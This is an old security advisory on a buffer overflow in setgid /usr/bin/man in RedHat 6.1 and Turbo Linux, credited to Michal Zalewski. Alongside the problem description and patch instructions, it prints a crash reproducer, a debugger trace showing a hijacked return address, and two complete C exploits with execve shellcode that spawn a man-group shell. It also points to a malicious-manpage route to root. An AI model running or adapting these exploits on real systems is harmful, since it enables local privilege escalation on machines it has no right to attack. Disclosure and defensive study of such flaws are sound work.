COMMAND

    man

SYSTEMS AFFECTED

    RedHat 6.1, Turbo Linux 6.0.2 and earlier

PROBLEM

    Michal Zalewski found following.  With most of Linux distributions
    /usr/bin/man  is  shipped  as  setgid  man.   This  setgid  bit is
    required to  build formatted  manpages in  /var/catman for  faster
    access.   Unfortunately, man  does almost  everything via system()
    calls,  where  parameters  are  user-dependent,  and almost always
    it's sprintf'ed before to fixed size buffers.  It's kinda  trivial
    to gain  man privledges,  using buffer  overflows in  enviromental
    variables. For example, by specyfing MANPAGER variable with approx
    4k 'A' letters, you'll get SEGV:

        $ MANPAGER=`perl -e '{print "A"x4000}'` man ls

        [...]

        1200  setuid(500)                       = 0
        1200  setgid(15)                        = 0
        1200  open("/usr/share/locale/pl/man", O_RDONLY) = -1 ENOENT (No such file or directory)
        1200  open("/usr/share/locale/pl/LC_MESSAGES/man", O_RDONLY) = -1 ENOENT (No such file or directory)1200  open("/usr/share/locale/pl/man", O_RDONLY) = -1 ENOENT (No such file or directory)
        1200  open("/usr/share/locale/pl/LC_MESSAGES/man", O_RDONLY) = -1 ENOENT (No such file or directory)1200  close(-1)                         = -1 EBADF (Bad file descriptor)
        1200  write(2, "Error executing formatting or display command.\nSystem command (cd /usr/man ; (echo
        1200  --- SIGSEGV (Naruszenie ochrony pamiêci) ---
        1200  +++ killed by SIGSEGV +++

        Program received signal SIGSEGV, Segmentation fault.
        0x41414141 in ?? ()

    As you can see, SEGV occours when we're at privledged level (after
    setgid man) and is trivially exploitable (generic stack overflow).
    What  then?  We  have  'man'   privledges  and  write  access   to
    /var/catman directory tree (less interesting, can be used to  mess
    around with man output), and, usually, to some /usr/man files  (it
    shouldn't be possible, but some compilers, like cpp, and  programs
    like  fetchmail,  for  some  reasons  have  g+w  manpages  on many
    systems).    Some  time   ago  Pawel   Wilk  described    possible
    vulnerability in manpage processing - execution of arbitrary  code
    when evil manpage is being browsed...  Sample manpage is available
    at:

        ftp://dione.ids.pl/people/siewca/security/man/mkroot.9
        http://oliver.efri.hr/~crv/security/bugs/mUNIXes/groff.html

    So, if you have write access to some manpages, and root uses  man,
    there's a chance to gain root privledges. If not, only lusers  are
    affected.

    This might be a side effect of the fix for another security  hole.
    IIRC, /var/catman/ was  world writable allowing  for all kinds  of
    symlink games which would allow  ordinary users to do some  things
    as root (like clobbering files)  by laying a trap in  /var/catman/
    and waiting for root to run man.  Exploiting this buffer  overflow
    bug to gain  man priveledges would  then allow you  to exploit the
    previous  bugs  as  well  if  root  runs  "man"  (or  possibly the
    priveledges of any user who runs man).  If you need to run man  as
    root, consider:

        su nobody -c "man ls"             # assumes shell is /bin/bash

    Or just switch to another console or window.  The man program  was
    never designed  to be  secure but  having a  shared manpage  cache
    requires man to be secure.   If you disable man page caching,  you
    should be able to run man without setgid.

    Mario Paskual posted Linux sgid exploit:

    /*
       ***************************************************
       ***               agroMANauer.c                 ***
       ***          linux SGID-man exploit             ***
       ***       by buterfree@lettera.net 2000         ***
       ***           tested on RedHat 5.1              ***
       ***         It gives an egid-man shell          ***
       ***                                             ***
       *** Dedicado a Juan, Jor y la gente del chamizu ***
       ***   (Ehhh tio, la guerra acaba de Empezar)    ***
       ***************************************************
    */

    #include <stdio.h>
    #define BUF_SIZE 5000
    #define POS_RET  3500
    #define RETADDR  0xbfffefef

    // shellcode
    char shellcode[] = // 48 caracteres
        "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
        "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
        "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
        "\xff\xff/bin/sh";

    void main (int argc, char *argv[]) {
      int i;
      FILE *f;
      char buf[BUF_SIZE];
      long retaddr, offset;

      printf ("\n");
      printf ("****************************************\n");
      printf ("* agroMANauer (linux SGID-man exploit) *\n");
      printf ("*     by buterfree@lettera.net 2000    * \n");
      printf ("**************************************** \n\n");
      printf ("Try offsets -3000,0,3000,...\n");
      printf ("Use : %s [offset] \n", argv[0]);

      offset = 0;
      if (argc>1) {
        offset = atol (argv[1]);
      }

      retaddr = RETADDR + offset;
      printf ("Return Address = 0x%x \n",retaddr);

      // Fill buffer with NOP's
      memset (buf, 0x90, BUF_SIZE);
      buf[BUF_SIZE]=0;

      // Copy Return Address
      for (i=POS_RET; i<=BUF_SIZE-10; i+=4) {
        *(long*)(buf+i) = (long) retaddr;
      }

      // Copy shellCode
      for (i=0; i<strlen(shellcode); i++) {
        buf[i+POS_RET-strlen(shellcode)-20] = shellcode[i];
      }

      // Export TERMCAP
      setenv ("MANPAGER", buf, 1);

      // Run program
      execl ("/usr/bin/man","man","ls",NULL);

    }

    Here's the another code:

    /*
     * (c) 2000 babcia padlina / b0f
     * (lcamtuf's idea)
     *
     * redhat 6.1 /usr/bin/man exploit
    */

    #include <stdio.h>
    #include <sys/param.h>
    #include <sys/stat.h>
    #include <string.h>

    #define NOP		0x90
    #define OFS		1800
    #define BUFSIZE		4002
    #define ADDRS		1000

    long getesp(void)
    {
       __asm__("movl %esp, %eax\n");
    }

    int main(argc, argv)
    int argc;
    char **argv;
    {
	    char *execshell =
	    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

	    char *buf, *p;
	    int noplen, i, ofs;
	    long ret, *ap;

	    if(!(buf = (char *)malloc(BUFSIZE+ADDRS+1)))
	    {
		    perror("malloc()");
		    return -1;
	    }

	    if (argc > 1)
		    ofs = atoi(argv[1]);
	    else
		    ofs = OFS;

	    noplen = BUFSIZE - strlen(execshell);
	    ret = getesp() + ofs;

	    memset(buf, NOP, noplen);
	    buf[noplen+1] = '\0';
	    strcat(buf, execshell);

	    p = buf + noplen + strlen(execshell);
            ap = (unsigned long *)p;

            for(i = 0; i < ADDRS / 4; i++)
                    *ap++ = ret;

            p = (char *)ap;
            *p = '\0';

	    fprintf(stderr, "RET: 0x%x  len: %d\n\n", ret, strlen(buf));

	    setenv("MANPAGER", buf, 1);
	    execl("/usr/bin/man", "man", "ls", 0);

	    return 0;
    }

    -1000 as offset should work on most redhat 6.1/6.0/5.2 boxes.

SOLUTION

    Remove sgid bit from /usr/bin/man  (it will be no longer  creating
    preformatted manpages in  /var/catman), or rewrite  major portions
    of 'man' code.   On BSD systems this  is parched and on  SunOS the
    man is  not suid/sgid.   HPUX 10.20  also does  not have suid/sgid
    /usr/bin/man.   Slackware 7.0  does not  appear to  be vulnerable.
    /usr/bin/man  is  not  setgid  in  slackware,  so although it does
    indeed SEGV at the expected location, no privileges are gained.

    For Turbo Linux update the package from our ftp server by  running
    the following command:

        rpm -Uv ftp://ftp.turbolinux.com/pub/updates/6.0/security/man-1.5h1-1.i386.rpm

    The source rpm can be downloaded here:

        ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/man-1.5h1-1.src.rpm

    Note:  You  must  rebuild  and  install  the  rpm if you choose to
    download and install the srpm.   Simply installing the srpm  alone
    WILL NOT CLOSE THE SECURITY HOLE.